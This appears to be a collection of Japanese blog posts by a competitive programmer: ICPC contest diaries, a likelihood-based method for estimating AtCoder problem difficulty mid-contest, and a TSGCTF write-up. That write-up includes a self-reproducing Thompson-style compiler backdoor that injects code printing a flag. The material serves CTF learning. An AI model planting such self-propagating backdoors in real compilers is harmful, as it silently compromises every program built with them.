Bは読解が秒ではなかったので僕がBをやることに。らずひるどが問題概要を予め把握していてくれたので、やるだけだった。やる。通す。8分

Cはかなり難しそうで、すくなくともサラッと通せる問題ではなさそう。とりあえず目を通し、105くらいまで列挙すると残りが簡単に定まるのではないか?と思うも1010くらいなので駄目っぽい。最初108くらいになると思って解けたとか言っちゃった、ごめん。Dが構文解析っぽいのでそっちをやったほうが良いとのことで回ってくる。

Dは構文解析はあるにはあるも本質ではなさそう(BNFが1行とか2行とか) 。とりあえず出てくる変数を決め打ちそう→全変数間の大小関係を2-SATの変数として持ち、それぞれの式と推移性について条件式を作れば良さそうだなあとか思う。が、数えられないので終わり。

頭を捻っているとCが通る。(40分) この時点で学内2位/全体31位とかでbeetさんがかなり動揺していた。Dが全く解けなかったので聞くと、秒でn<=16なのでbit全探索と言われる。なににbitを建てるのかさっぱりだったので聞くが、決め打ったら後必要な情報がそれより大きいか小さいかだけと言いながら震える手で図を書いていた。ボロボロになりつつも秒で解法を出してきていて凄いし、それを30分出せなかったのは素直にかなり反省。???「これができないのは、ヤバいよ」

ということで書く。構文解析パートは関数一つだけでなんとかなるレベルのゆるい奴。正直僕もかなり動揺していたので、文字からindexへの変換をmap持って終わらせればいいものをわざわざ式内に登場するシンボルを置換したりしていて本当によくない。20分くらいで書き終わる。サンプルが合わん、何がいけなかったんでしょうねぇ…… 15分くらい唸るも、原因は

if (op=='<') return a < b ? a : b;
else return a > b ? a : b;

if(op=='<') swap(a,b);
return a > b : a : b;

を等価だと思っていたことだと判明。コンテスト中には何故これが等価でないのか分からずに納得できずも、とりあえずサンプル合うからヨシ!をした。(それぞれのreturnはminとmaxということにすら気がついていなかった)出す。通る。80分

そうこうしているうちに、Eがなんかギャグらしくて解けたらしい。なのでF読むかをしてらずひるどの考察を聞いているうちにEが通る。85分

ここで状況確認。とりあえず5~6位くらいで、早めに5完はしたので通過はしそう?FGHを読むも、GHは1時間半で0完なので捨てて良さそう(Gは見込みはなくはないが、Hは完全にヤバい幾何なのでさようならという感じ)。残りはFということで、Fの考察をすることに。

少ししてFが方針が生えたらしく、聞くと合っていそう。ただ、計算量が壊れそうなケースを見つけたのでそれを提示するもいい感じの方法が帰ってくる。あと70分くらいしかないので、とりあえず並列で実装をしてどっちかが通したらいいね作戦をすることに。

かなり後に気がついたんですが、ここで壮大なアンジャッシュが起きていたらしい。というのも、サンプルを試して解法を共有する際に両者の解法に少しズレがあったにも関わらず偶然同じステップを踏んでいた。嫌なケース等で合意が取れたので、把握している解法が違うなどとは思いもしない。

かなり辛い実装だったが、なんとか書き上がる、15分前。出す。合わない。解をソートしていないことに気がつく。ソートする。出す。合わない、10分前。 サンプルを試してステップ実行すると怪しい動きをしていそうだと気がつく。条件式が間違っていたので直す。出す。合わない、5分前。考察自体に致命的なミスがあることにチームメイトが気がつく、1分前。

終了 全体8位

ふりかえり・反省

ABは文句のない動きができた。Dで迷走したのは本当に頭が備わっていないせいで、高難度の練習を実装偏重にしていたのもあってよくなかった。頭を使おう。

Fでは、サンプルをチームで試して共有した上に生成した最悪ケースの出力が一致することを確認した。そのうえでのこれなので、今回はほぼ不幸な事故だったと思ったほうが良さそう。強いて言うなら、手で試せる範囲で一番強いサンプルを試すべきだった。

ただ、ある考察を否定する時に言っていることが全く分からなかったが、考察を投げた人が納得したので渋々納得したのは戦犯ポイント。ここで指摘していれば気がつけたかもしれない。言っていることの意味が分からず、かつ意味がわからないことに確信が持てるならば、ratismをぶっ壊して相手を疑うことをしたほうが良さそう。

ということで、チームとしての自分の動きも、個人としての自分の動きとしてもそこまで納得がいくものではなかった。結果はそこそこ良くはあったが、olpheチームに負けたなどもあってかなり悔しいのは確か。

なお、Fは自分のコンテスト中のコードを2byte書き換えたら正解チームのoutputと一致した。本当に下らないミスでとても悔いが残る上、思い違いをした解法が合っているとなるともう気がつきようがない気がする。ただ、終わったことなので今悔やんでもしょうがない。これを回避するには強くなるしか方法はないので、強くなる。  

コード

a.cpp · GitHub

b.cpp · GitHub

d.cpp · GitHub

Revisions · f.cpp · GitHub (初版がコンテスト中のコードで、その後が修正後のおそらくACコード)

ICPC2020 模擬国内予選 参加記

ラクティス

システムが初めてだったのでプラクティスをした ./l ではなく l < in > out としたらlsのエイリアスに反応してoutにファイル一覧が出ていて1WAした 国内予選ではほぼおそらくlはないけど罠を踏めてよかった 他にwでも死ぬらしいが、wまでは出ないのでセーフ

コンテスト前

家を出る前に持ち物チェックをしたのに充電器とハンドクリームを忘れた バッテリーは駄目になってて3時間持つか怪しかったので他チームの人に貸してもらった(本当にありがとうございます)チェックリストを作りましょう

コンテスト中

Aを見る こういうのは0に注意するんですよね~とか言っていたんですが、1<=a_i,b_i だったので残念(?) 書いて出す 6分弱 6位とか

Bが書かれ始めていたのでCを見る 今年も続投廻小宮ファミリー 生で見たのが初めてだったので笑ってしまった そうこうしてるうちにBが通って順位表を見たらFAだった(すげえ)

続けてCを読む n<=20とかであってくれとおもったけど10^5でした 普通にわからん… 思考が止まって眺めているだけに一瞬なっていて、これはまずいとしっかりと考える マス視点で何らかを埋めるんだろうなという気持ちにはなるが、わからん とりあえずわからんのでstartを(0,0)に、goalを(+,+)に補正する入力コードだけ書く マス視点だったら今までに消した範囲の数しかありえないよな→今いるところで全て消えているという仮定を置くと何を消したかの情報を持たなくていいじゃん 横に動いた場合と縦に動いた場合についてどこを消すべきかを配列に入れればいいね! 書き始める(考察15分くらい? 実装に15分くらい)

書き上がる 試す 境界外参照でエラー デバッグをするんですが、スタックトレースがないしブレークポイントがうまく打てないしで焦りまくって、結局printfデバッグする チームメイトにあと5分くらいで書けると伝えてから10分くらい経っていたので現状を聞かれ、せぐふぉってると伝える そうこうしていると原因を見つけた 配列のサイズをh+1,w+1にしていなかったとこがあった(10分くらいかかった)

直したので試す 最後の一ケースだけ合わん…… ここでブレークポイントが打てなかった原因が試しに追加した -O2 オプションのせいだったと判明 環境を直前にいじらない! さすがにハマりすぎているのでトイレに行って頭を冷やしてこいと言われるが、もうちょっとデバッグをする とりあえずいろいろな情報をダンプして見てみて、何がおかしいのかは判明 でもどうしてそういうことになっているかは分からない トイレ勧告2回目 流石に行く

帰ってきて少し見てみると分かる 原因は y+r, x+rを x+r, x+rにしていたことだった 後から思えば最初にダンプした情報でも値がおかしかったし、明らかに疑う場所は一つだった 頭が全く動いていなかった 本当に反省ポイント 動かすとサンプルは合う 出す 通る 70分弱 カス

この時点でEはとっくの昔に通っていたので一旦状況確認 可能性のあるDとFをどう解くかを話していた 聞こえてくる感じだとFはサイコロっぽい 読んでみると、ちょっとめんどくさいだけで解けそうじゃんと思ったが、入力がヤバすぎることが判明 Dを読む限り考察偏重っぽくてレート高いほうに任せたほうが良さそう&立体の回転/展開とかの空間把握と実装は少し自信があったのでFをやることに

とりあえずサイコロライブラリは写経してあったが、当然向きには対応していなかったので参考にはするが基本的には投げ捨てる方針でいく 写経担当の手が空いていたので分業して書くことにした 設計をとりあえず決める † みたいな展開図(標準展開図とか呼ぶ)で↑のときに0、→で1…みたいにする 回転自体は縦回転と横回転が一種ずつあれば全ての回転を網羅できることは分かったので、とりあえずDie構造体だけ書いて共有し、縦回転と横回転を書いてもらうことに

僕はとりあえず入力を書くことにした 方針自体は一瞬で立って、どこかからDFSをして頑張ればいい 持つべき情報は(与えられる展開図の(y,x), 標準展開図においてどこか, 標準展開図においてどっち向きか)

DFSをするために上下左右においてどう隣接してるかのリスト、今自分が上で、隣にあった場合の上の方向のリストが欲しいと分かる ここがこわれてるとデバッグが大変なことになる&最悪サンプルは合ってしまう可能性が大いにあるので、かなり丁寧にダブルチェックしつつリスト24個を埋める 結果的にここを丁寧にやったのはとても良かった ここらへんでDが通った

そうこうしている内に縦回転と横回転が終わったので、遅くてごめんと言いながらsolveの中身も書いてもらうことに 探索の内側については具体例と照らし合わせながら埋めた 扱うべき向きが三個くらい出てきて頭が壊れそうだったけどなんとかなった なんとかしたらsolveも書き終わったらしい とりあえず全部↑になるようなケースを手打ちで作って試す assertで死んだ 冷や汗が出たが、原因はすぐに突き止められて直したら合うので合体させた サンプルを試したら合体ミスでむちゃくちゃな値が出てきたけど、ちゃんと合体したらそれっぽい値は出た(30分前)

でもdiffを見ると違ったので、まずinputを疑う サンプル1のサイコロは3つだったので、手作業で標準展開図に補正してDieの中身をダンプしたのと比較 合ってる 15分前

なのでsolveから全探索を呼んでいる関数を確認して、少し怪しかったので書き換えると答えが変わるも合わない rotateが怪しい説が出てきたので、お人形さんになっていた写経担当を借りてきてrotateの説明をしてもらう 回転が一箇所間違っていたので修正する 合う 出す 通る 10分前 大口叩いて通せなかったらカスなのでヒヤヒヤしていた

GHは目を通してしかいなくて何も分からなかったので後は順位表を見ながらニコニコしていた なんでニコニコしてるんですかと言われたんですが、嬉しいからなんだよな

終了 全体9位

 

ふりかえり・反省

練習通りのステップを踏めなかった。Cは焦りがあったのもあるが、頭を使えていなかった。Fの実装をしているタイミングでようやく頭のギアが入った感覚があったが遅すぎる。ただ、Fをしっかりと詰めた上で書ききれたのは偉い。詰める練習をしていなければできなかったはず。

練習は本番のように、本番は練習のようにとか百万回聞いているが、本当に意識するべき。実装練習ばかりで頭を止めないでしっかりと考察を最近していないため、AOJの500-550の少し考察が必要なレベルを重点的に埋めるべき。本番も大きなミスなくやれるようにあと2週間気合を入れていく。

あとチェックリストを作りましょう(作りました)

 

コード

a.cpp · GitHub

c.cpp · GitHub

f.cpp · GitHub

 

コンテスト中に問題のdifficultyを推定した(かった)

~前回までのあらすじ~

コンテスト中に最終順位を推定したくなり、それをするにはコンテスト中にDiffを推定すればよいことが分かった。

keymoon.hatenablog.com

先行研究

コンテスト中にdiffを推定するということ自体は、すでにいくつかの先行研究がある。本項では、DEIM2020にて発表のあった「競技プログラミングコンテストにおけるタスクの難易度のリアルタイム推定*1」という論文で取られている手法の一つを紹介し、それの改善点について考察をする。

手法

まず、正解率pをレートとdifficultyの関係より導出される式 p=\frac{1}{1+6^{(d-r)/400}} より定めた。
そして、「時間T毎に各参加者が提出を行い、確率p_iで正答を得る。また、コンテスト参加者があるタスクに自分の解答を繰り返し提出し,正答であるという判定を得るまでにかかる時間が指数分布に従う。」というモデルを基に推定を行っていた。この場合の尤度関数L(d)は、指数分布の確率密度関数を用いて

\displaystyle
L(d)=\prod_{i=1}^{N}{\frac{p_i}{T}\exp{\left( -\frac{p_i}{T}t_i \right)}}
と定められる。これの最大化については、尤度関数の対数を取り

\displaystyle
\begin{eqnarray*}
    \log L(d)&=&\sum_{i=1}^{N}{\log(\frac{p_i}{T} \exp(-\frac{p_i}{T}t_i))} \\
    &=&\sum_{i=1}^{N}{\left( \log\frac{p_i}{T}-\frac{p_i}{T}t_i \right)} \\
    &=&\sum_{i=1}^{N}{\left( \log p_i-\log T \right)}-\sum_{i=1}^{N}{\frac{p_it_i}{T}} \\
    &=&\left( \sum_{i=1}^{N}\log p_i \right) -N\log T -\sum_{i=1}^{N}{\frac{p_it_i}{T}} \cdots (1)
\end{eqnarray*}
とした関数を最大化することと同じになる。これは、Tについて偏微分した

\displaystyle
\begin{eqnarray*}
\frac{\delta \log{L(d)}}{\delta T}=-\frac{N}{T}+\frac{1}{T^2}\sum_{i=1}^{N}{p_it_i}
\end{eqnarray*}
が0となるようなTを離散的な各 d\ \mbox{s.t.}\ d \in ℤ, \rm{possibleMinDiff} \leq d \leq \rm{possibleMaxDiff}について求め、それによって\log L(d)を求めることで擬似的に実現できる。
そのようなT

\displaystyle
T=\frac{1}{N}\sum_{i=1}^{N}{p_it_i}
と表せるので、(1)式は

\displaystyle
    (1)=\left( \sum_{i=1}^{N}\log p_i \right)-N\log T-N \\
と表すことができる。

問題点

このモデルの問題点について考察する。
まず、各人がコンテストを通して解答できる時間の期待値e_iT/p_iとしているが、それの根拠となる仮定である「時間T毎に提出して確率p_iで正答を得る」という点について。p_iを算出するのに用いているdifficultyの定義は「全体で正答できる確率が50%になるようなレート」であるが、この仮定の下では全体での正答確率がp_iとならないため、これは定義を満たしていない。
また、確率分布が以上の仮定に従うとすると離散的な指数分布を取ると考えられるが、その仮定とは別に指数分布となるモデルを考えているため、複数のモデルが並立していることになっている。
また、レート毎の解答時間の分布に指数分布を用いているが、レート毎の解答時間の分布は対数正規分布になることが観察と考察によって確かめられる。

pepsin-amylase.hatenablog.com

よって、本記事では対数正規分布を解答時間の分布として用いて推定を行ってみたいと思う。

正規分布による推定

difficultyの定義より、レートrの人が難易度dの問題を終了時刻t_{end}において正答できている確率は

\displaystyle
\frac{1}{1+6^{(d-r)/400}}\cdots(2)
と表せる。
ここで、あるレートrにおいて正答を得られるまでの時間tは対数正規分布に依り、すべてのtについて対数スケールでの分散が一定であると仮定する。
そのため、あるレートrに対して対数スケールでの解答時間の中央値がe^\mu、同じく分散が\sigma^2のとき、時間tに対する確率密度関数

\displaystyle
\frac{1}{\sqrt{2\pi\sigma^2}t}\exp\left(-\frac{(\log t-\mu)^2}{2\sigma^2}\right)
となる。
ここで、正規分布は尺度s=\frac{2}{\pi}|\sigma|のロジスティック分布に近似できるため、そのような近似を用いて\musの式で表すことを考える。この\mu,sは、時間tに対する対数ロジスティック分布の累積分布関数\frac{1}{1+e^{(\mu-\log t)/s}}とレートあたりの正答率の式(2)より、

\displaystyle
\begin{eqnarray*}
  \frac{1}{1+e^{(\mu-\log t_{end})/s}}&=&\frac{1}{1+6^{(d-r)/400}} \\
  \Leftrightarrow e^{(\mu-\log t_{end})/s}&=&6^{(d-r)/400} \\
  \Leftrightarrow (\mu-\log t_{end})/s&=&(d-r)/400\cdot\log 6=\frac{\log 6}{400} \cdot (d-r) \\
  \Leftrightarrow \mu&=&\frac{s\log 6}{400} \cdot (d-r) + \log t_{end}
\end{eqnarray*}
という式に従う。

以上より、\mu\sigmaに対する式として表すと、

\displaystyle
  \mu=\frac{|\sigma|\log 6}{200\pi} \cdot (d-r) + \log t_{end}
となる。ここで、簡便のためにc=\frac{200\pi}{\log 6}とする。

これを時間tに対する確率密度関数に代入すると、

\displaystyle
  \frac{1}{\sqrt{2\pi\sigma^2}t}\exp\left(-\frac{\left(\log t-\left(\frac{|\sigma|}{c} \cdot (d-r) + \log t_{end}\right)\right)^2}{2\sigma^2}\right) \\
となる。上式より、尤度関数L(d)

\displaystyle
L(d)=\prod_{i=1}^{N}\frac{1}{\sqrt{2\pi\sigma^2}t_i}\exp\left(-\frac{\left(\log t_i-\left(\frac{|\sigma|}{c} \cdot (d-r_i) + \log t_{end}\right)\right)^2}{2\sigma^2}\right) \\
と定める。対数を取ると、

\displaystyle
\begin{eqnarray*}
  \log L(d)&=&\sum_{i=1}^{N}\log\left(\frac{1}{\sqrt{2\pi\sigma^2}t_i}\exp\left(-\frac{\left(\log t_i-\left(\frac{|\sigma|}{c} \cdot (d-r_i) + \log t_{end}\right)\right)^2}{2\sigma^2}\right)\right) \\
  &=&\sum_{i=1}^{N}-\log(\sqrt{2\pi}|\sigma|)-\log t_i-\frac{\left(\log t_i-\left(\frac{|\sigma|}{c} \cdot (d-r_i) + \log t_{end}\right)\right)^2}{2\sigma^2} \\
  &=&-N\log\sqrt{2\pi}-N\log|\sigma|-\sum_{i=1}^{N}\log t_i-\sum_{i=1}^{N}\frac{\left(\log t_i-\log t_{end}-\frac{|\sigma|}{c} \cdot (d-r_i)\right)^2}{2\sigma^2} \\
  &=&-\left(N\log\sqrt{2\pi}+\sum_{i=1}^{N}\log t_i+N\log|\sigma|+\frac{{\displaystyle \sum_{i=1}^{N}}\left(\log t_i-\log t_{end}-\frac{|\sigma|}{c} \cdot (d-r_i)\right)^2}{2\sigma^2}\right) \\
\end{eqnarray*}
となる。\sigmaについて偏微分すると、

\displaystyle
\begin{eqnarray*}
\frac{\delta\log L(d)}{\delta\sigma}&=&-\frac{N}{\sigma}-\sum_{i=1}^{N}-\frac{(\log t_i-\log t_{end})(c(\log t_i-\log t_{end})-|\sigma|(d-r_i))}{c\sigma^3}\\
&=&-\frac{N}{\sigma}+\sum_{i=1}^{N}\frac{(\log t_i-\log t_{end})(c(\log t_i-\log t_{end})-|\sigma|(d-r_i))}{c\sigma^3}\\
\end{eqnarray*}
となり、上式の偏微分が0になるために\sigmaが満たすべき条件は


\displaystyle
\begin{eqnarray*}
 -\frac{N}{\sigma}+\sum_{i=1}^{N}\frac{(\log t_i-\log t_{end})(c(\log t_i-\log t_{end})-|\sigma|(d-r_i))}{c\sigma^3}&=&0\\
\Leftrightarrow\sum_{i=1}^{N}\frac{(\log t_i-\log t_{end})(c(\log t_i-\log t_{end})-|\sigma|(d-r_i))}{\sigma^2}-cN&=&0\\
\Leftrightarrow\sum_{i=1}^{N}\frac{c(\log t_i-\log t_{end})^2-|\sigma|(d-r_i)(\log t_i-\log t_{end})}{\sigma^2}-cN&=&0\\
\Leftrightarrow\sum_{i=1}^{N}\frac{c(\log t_i-\log t_{end})^2}{\sigma^2}-\sum_{i=1}^{N}\frac{(d-r_i)(\log t_i-\log t_{end})}{|\sigma|}-cN&=&0\\
\Leftrightarrow\left(\sum_{i=1}^{N}c(\log t_i-\log t_{end})^2\right)\frac{1}{\sigma^2}-\displaystyle \left(\sum_{i=1}^{N}(d-r_i)(\log t_i-\log t_{end})\right)\frac{1}{|\sigma|}-cN&=&0\\
\Leftrightarrow cN\sigma^2+\left(\sum_{i=1}^{N}(d-r_i)(\log t_i-\log t_{end})\right)|\sigma|-\sum_{i=1}^{N}c(\log t_i-\log t_{end})^2&=&0\\
\end{eqnarray*}
である。これを満たすような\sigmaを離散的な各d\ \mbox{s.t.}\ d \in ℤ, \rm{minDiff} \leq d \leq \rm{maxDiff}について求め、それぞれについて\log L(d)を求めた後、これが最大値をとるdを擬似的な最尤推定量とする。

\sigmaについての項は\sigma^2|\sigma|しか出てこないことから、実装においては非負と仮定しても結果は変化しないことを利用すると良い。

実装,性能評価

以上のモデルを既存手法とともにC#にて実装をし、比較をした。実装は以下のリンクよりgistにて閲覧できる。
AtCoderからのデータ取得周りは外部の自作ライブラリに依存してるのでこれ単体では動かないです · GitHub

ABC170 旧モデル 提案モデル difficulty
A -163 -1000 -3425.5
B 14 -792 -872.4
C 233 -414 -166
D 274 323 1033.5
E 625 805 1466.4
F -240 1261 1913.6
f:id:keymoon:20200804132256p:plain
ABC170の推定
ABC171 旧モデル 提案モデル difficulty
A -205 -985 -2837.3
B -77 -1000 -1340.5
C -261 119 466.3
D 38 115 422.3
E -1000 308 733.7
F 614 1035 1721.5
f:id:keymoon:20200804132358p:plain
ABC171の推定
ABC172 旧モデル 提案モデル difficulty
A -167 -1000 -7393.8
B -60 -1000 -1410.4
C 704 347 877.7
D 17 351 944.7
E 710 961 1877.9
F 553 1368 2158.5
f:id:keymoon:20200804132439p:plain
ABC172の推定

旧モデルは収束するのは低難度帯に限られるが収束は早い。一方、提案モデルでは難易度によらず推定を行えているが収束はあまりしているようには見えない。

また、提案モデルでは解がほぼ確実に下方向にズレているのが課題である。そのため、どの程度ズレているのかを確かめてみた。

f:id:keymoon:20200804150254p:plain
推定データと実データ

すると、新ABCに限ってサンプリングしたデータではあるが、実データと推定データが比例しているという傾向が全diffについて見られた。つまり、最終推定値に1次関数による補正をかけたらこのモデルはそこそこな精度になるということである。
ここまで綺麗なズレが観測されるとなると、ここには何らかのモデル自体の欠陥が絡んできているのではないか?と思えてしまう。そのため、ズレがどこから来ているのかということを今後調べていきたいと思っている。

また、ABC/AGC/ARCそれぞれについて同様に調べてみると、グラフのかたむきは0.72程で変わらずに切片のみが変化していることが分かった。

f:id:keymoon:20200804202956p:plain
AGC/ARC/ABCについての推定データと実データ

おわりに

尤度関数と偏微分の式変形がかなり美しい結果に落ち着いたので、かなり満足しています。ただ、実装してみた結果うまく行かなかったので、とりあえず進捗を書くだけ書いておいて本業(競プロ)をしようという不純なモチベーションより筆を取り始めました。しかし、その途中で気まぐれでデータを比較してみるとかなり綺麗なズレが観測できたのでもう一歩な気もしてきました。もう少し頑張ってみます…

コンテスト中に最終順位を推定したい

 

概要

表題の通り、コンテスト中に(このまま椅子を温め続けた時の)最終順位を推定したいです。私はac-predictorってやつを作ってるんですが、それにコンテスト中の最終順位の推定機能を組み込めたら更に便利になるなってのがモチベーションです。

ただ、問題を詰めていくに従ってどん詰まりになってきたので頭の整理のためにでも書いてます。もし何らかの解決策を少しでもご存知であれば、是非教えて頂けると幸いです……。本稿で使用したnotebookはGistに上げておきました。

この記事でレートと言った場合、明示しない場合は内部レート(APerf(average perf), パフォーマンスの単純な加重平均)のことを指すことにします。

要件

リアルタイムに推定を出したい。できるならばすべての処理をクライアント(=JS)側に任せたいが、流石にブラウザ上でやるには厳しい計算が出てきた場合はサーバサイドでの計算もやむを得ないかも。(その場合はバッチ処理のような形を取る)

現段階での考えている手法

とりあえず、(このまま椅子を温め続けた時の)最終順位を予測するためには何が必要かを考える。最終順位=今の順位+自分を抜いた人の順位であるため、全ての人について自分を抜く確率がどれくらいあるのかを計算したい気持ちになる。

そのためには、それぞれの人が問題を一定の時間以内に解く確率を計算したくなる。

AtCoder の問題に取り掛かってから AC するまでにかかる時間の対数の平均値は、レーティングの1次式で表現できると考えられます。

pepsin-amylase.hatenablog.com

とあるため、これは問題のDifficultyと分散を求めると良さそうである。

よって、各問題のDifficulty分散を求めることとする。

ここで、Diffは「コンテスト中に50%の人が解けるレート」として計算されているため、「コンテスト終了時に50%の人が解けているレート帯」をそのままDiffとして考えることにする。

コンテスト本番の (ユーザー, 問題) の対を1つのデータ点として内部レーティングを説明変数、その問題に正解したかを被説明変数とするロジスティック回帰によって正解予測モデルを作っています。このモデルで正解率が50%になる内部レーティングを difficulty としています。

pepsin-amylase.hatenablog.com

ここまでをまとめると、

各問題について:

  • コンテスト中の順位表よりDifficulty(=終了時に半分の人が解けているレート帯)を推定
  • そのDifficultyより各人が自分を抜く確率を推定
  • そこから最終順位を予測

 というプロセスで推定を行うということになる。

Difficultyを推定する

追記(2020/7/31)

本項でいくつか記事を参考にさせていただき、またAtCoder ProblemsのDiff推定部分の担当もしていらっしゃるid:pepsin-amylaseさんより「最近それをやった論文がある」と教えていただいたため、それを読んだ。それを用いた場合C問題程度まではきれいな推定ができるが、それ以降ではまだきれいな推定ができなかった。

その後も手法を改善する努力などは行っているため、何か進展があればここに追記する。

(追記:記事を書きました。未だに上手くはいっていません…)

keymoon.hatenablog.com

(追記終わり)

 

Difficultyを推定するに当たって、終了時に半分の人が解けているレート帯を求めることをしたい。

まず、観察として「全ての問題について、各レート帯の何割の人がどの程度の時間で解けているか」をプロットすることとした。

その結果が以下である。

f:id:keymoon:20200726005112p:plain

各問題についてのレートと解答時間の関係


縦軸のaperfは内部レート、横軸は時間の対数である。

赤の点はがそのレート帯の人の50パーセンタイルが解けたときの時間、黄色が40/60,青が30/70… といったことを示している。

これを見てもわかるように、それぞれのパーセンタイル毎の値は微妙な曲線になっている。

また、各レート帯毎の解ける時間については対数正規分布になっているように感じる。

これらの観測を基に、コンテスト中の順位表から終了時に5割の人が解けているレート帯(すなわち終了時刻に赤点線が当たる場所)を求めたいという気持ちになる。

f:id:keymoon:20200726005036p:plain

開始10分時点での情報をプロットしたもの

そのためには、「各レート帯での解けるまでの時間の中央値を推定」→「その中央値を基にDiffを推定」というステップを踏むべきであると考えた。

課題

ここまで考えたのは良いものの、その推定をどのように行ってよいかが分かっていない。

ここから、行ったことと考察を書く。

中央値を推定するフェーズ

対数正規分布になりそうだという観測を基に、その時点での結果について正規分布のフィッティングを行うこととした。

どうにも打ち切りモデルというものによる推定になりそうだが、このような高度なモデルを使用することなくcurbe_fittingを行ってみることとした。

teratail.com

f:id:keymoon:20200726010257p:plain

1000秒時点のデータを基とした、curbe_fittingによる推定

その結果、20分程度まではある程度まともなデータが得られたが、それ以降では頓珍漢な結果が出てしまう結果となった。

どこかで分散を求めてしまって、それを基に全てを推定とかのほうが楽なのかもしれない……?

Diffを推定するフェーズ

一度対数を適用してもまだ対数っぽい見た目をしていたのでもう一度適用すると良いかもしれないと思い、適用してみる。

f:id:keymoon:20200726005400p:plain

log(log(x))を横軸の目盛りに取った場合

結果としては、まだ対数っぽさが残っている気がする。

最初の方に解けた上位陣を無視して、最後の方の傾きだけを基に推定すれば良いかとも思ったが、できるならば最初の方から推定できていてほしさがあるため、上位陣込みのデータを基に推定可能な汎用的なモデルを構築したい。

あと、中央値となる点の「確実性」の重みは、推定がどの程度の点の量で行われたかによって変化すると考えた。そのため、それを加味した上でフィッティングは行うべきな気がする。

終わりに

数学的な議論を踏まずに観察でモデルを構築しようとしているのが良くないのかもしれないですね……。

これらの推定やモデル案について、少しの提案や意見でもあればお待ちしています。宜しくおねがいします。

TSGCTF 2020 Write-Up

2020年7月11日~7月12日にかけて開催された、TSGCTFのWrite-Upです。

今回はソロチームとして参加し、Sanity CheckとSurveyを除いてはMiscの2問のみを通し、512点を獲得して38位となりました。

ここでは、自分の通した問題についての解法を記したいと思います。

 

Beginner's Misc

eval(b64encode(input().encode('UTF_8')))==math.pi

となるようなinput()を作れ、という問題。

要するに、eval(s)==math.piで、b64decode(s)がUTF_8として正当であるようなsを作れば良いです。 

とりあえず、UTF_8の形式を見てみます。

Unicode code points   Range    Encoding  Binary value
-------------------  --------  --------------------------
 U+000000-U+00007f   0xxxxxxx  0xxxxxxx

 U+000080-U+0007ff   110yyyxx  00000yyy xxxxxxxx
                     10xxxxxx

 U+000800-U+00ffff   1110yyyy  yyyyyyyy xxxxxxxx
                     10yyyyxx
                     10xxxxxx

 U+010000-U+10ffff   11110zzz  000zzzzz yyyyyyyy xxxxxxxx
                     10zzyyyy
                     10yyyyxx
                     10xxxxxx
from: https://stackoverflow.com/questions/9356169/utf-8-continuation-bytes

この表より、上位3bitが110である場合は次に上位2bitが10のContinuation byteが続く、1110である場合は次の2つにContinuation bytesが続く、11110の場合は… と言ったことが分かります。

また、base64の4文字をデコードした際は3byteになるため、この3byteを一塊として考えることにします。

問題の趣旨に立ち戻ると`math.pi`と等価になるような小数を作れ、という問題でした。ただ、python浮動小数点数のイコールは少々誤差があっても許容されるので、base64に存在する文字のうち整数と除算命令('/')、加算命令('+')を使って近似することを考えます。

ここで、これらの文字について、base64の4文字の塊のうち何文字目に使用した時にどの種類のbyte(0xxxxxx or 10xxxxxx or 110xxxxx or...)を生成するか、という表を作成しました。

 

後は手作業で、ひたすら近づくような解を生成しました。正直全探索したほうがよかった。

できた解はこれで、

>> 379/140+1540274047210746040/3545344156695621040+0o00

3.141592653589793

>> math.pi

3.141592653589793

pythonで実行した際に等価となります。

最後の+0o00はpaddingが必要になってしまったために、適当に表を見て捻り出しました。

 

Self Host

未知の言語で書かれた言語自身のコンパイラが与えられるので、そのコンパイラのバイナリを作ってねという問題。そして、更にそのバイナリによってコンパイルしたコンパイラのバイナリ、によってコンパイルされたコンパイラのバイナリによってflagが入ったソースがコンパイルされるので、そのソースのコンパイル結果をflagを吐くようにしてねって話。

書いていて意味が分からなくなったんですが、以下の記事のhackと同じことを未知の言語でやってねって話です。

0x19f.hatenablog.com

で、とりあえず最初に未知の言語をコンパイルてきるようにしないことには話が始まりません。幸いC-likeな構文ではあったので、自分が書きなれているC#に手作業で直すことにしました。人力トランスパイラと申す。この言語は整数型とリスト型しかなく、文字列も整数のリストのシンタックスシュガーといった形になっています。また、動的型付けな言語であることも予想がついたので、C#の言語機能にあるdynamic型で動的型付けを実現します。1000行ほどにみっちりと出たエラーを気合で2時間かけてつぶし、とりあえずコンパイルが通るようなソースを完成させました。x.cs · GitHub

次に、Thompson hackを実装します。

hackする対象は関数をコンパイルする関数とします。その関数"compile_function"には、関数名と引数リスト、関数の中身の構文木が与えられます。アセンブリを吐かせるのはコード的にめんどくさいので、構文木にコードを追加することにします。

要件としては、「compile_function関数が来たら、書き換えた部分の構文木をそのまま追加し、1token目がflag変数である関数が来たらwrite(flag);の構文木を付け足す」が満たせれば嬉しいです。また、構文木をそのまま埋め込むのもめんどくさいのでコンパイラにあるparse関数を借りさせてもらうことにします。このparse関数は関数(とグローバル変数)しかパースできないので、一旦関数化してパースし、その中身から構文木を引き抜いてくることにします。

ここまでを踏まえて、そのコードを考えるとこうなります。(tokenize関数はないですが、tokenizeした結果をそのまま書くと冗長になってつらいので便宜的にこうしています。)

if (fn == "compile_function") { body = parse(y)[0][3] + body; }
if (body[0][1] == "flag") { body = body + parse(tokenize("f(){write(flag);}"))[0][3]; }

そして、一行目のparseに突っ込まれている変数'y'に、付け足した全体のコード(が入っている関数)が入っていると嬉しいです。なのでそうなるようなQuineを書きます。

とりあえず、このような構造になるようにしたいです。

y = /* ここ以下の字句解析結果 */;
x = /* yのリストを字句解析した結果になるようにがんばる */;
y = tokenize("f(){y = ") + x + y + tokenize("}") 
/* これでyには追加したコードの字句解析結果が入ってる */ 

このようになるように頑張ると、

y = /* ここ以下の字句解析結果 */; 
x = ["[", "\"" + y[0] + "\""];
i = 1;
while (i < len(y)) { 
  x = x + [","] + ["\"" + y[i] + "\""]; i = i + 1;
} x = x + tokenize("];") /* xにはリストyの字句解析結果が入っている */ y = tokenize("f(){y = ") + x + y + tokenize("}");

となります。

 最後に、この言語にはエスケープがないため、全ての文字列を別の形式で表すようにします。 先程も述べた通り、この言語では文字列は整数リストのシンタックスシュガーにすぎないので、例えば"flag"は[102, 108, 97, 103]といった形で表せます。こうすることで、yに最初に入れておく字句解析結果にダブルクオーテーションが出てこなくなって嬉しいです。

このようにした結果がこうです。

gist.github.com

あとは、これを先程の移植したコンパイラコンパイルすれば、Thompson hackが仕込まれたアセンブリを得ることができます。

 おわりに

Self Hostに半日かかってしまい、自分のプログラミング能力の微妙さに悲しくなってました。もう少し早く解いて他の問題にも手をつけられるようになりたかったです。

 

AtCoderで黄色になりました。

これはなに

